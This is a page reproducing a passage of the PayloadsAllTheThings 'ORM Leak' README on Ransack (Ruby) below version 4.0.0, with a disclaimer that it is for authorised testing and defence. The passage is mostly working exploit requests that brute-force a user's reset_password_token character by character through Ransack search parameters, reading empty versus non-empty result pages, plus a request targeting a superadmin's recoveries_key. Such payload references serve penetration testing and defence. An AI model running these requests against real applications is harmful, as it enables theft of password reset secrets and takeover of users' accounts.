Skip to content

ORM Leak · passage 11 of 12

Ransack (Ruby)

Text · ORM Leak/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

Only in Ransack < `4.0.0`. ![ransack_bruteforce_overview](https://assets-global.website-files.com/5f6498c074436c349716e747/63ceda8f7b5b98d68365bdee_ransack_bruteforce_overview-p-1600.png) * Extracting the `reset_password_token` field of a user ```ps1 GET /posts?q[user_reset_password_token_start]=0 -> Empty results page GET /posts?q[user_reset_password_token_start]=1 -> Empty results page GET /posts?q[user_reset_password_token_start]=2 -> Results in page GET /posts?q[user_reset_password_token_start]=2c -> Empty results page GET /posts?q[user_reset_password_token_start]=2f -> Results in page ``` * Target a specific user and extract his `recoveries_key` ```ps1 GET /labs?q[creator_roles_name_cont]=​superadmin​​&q[creator_recoveries_key_start]=0 ```

Source: ORM Leak/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.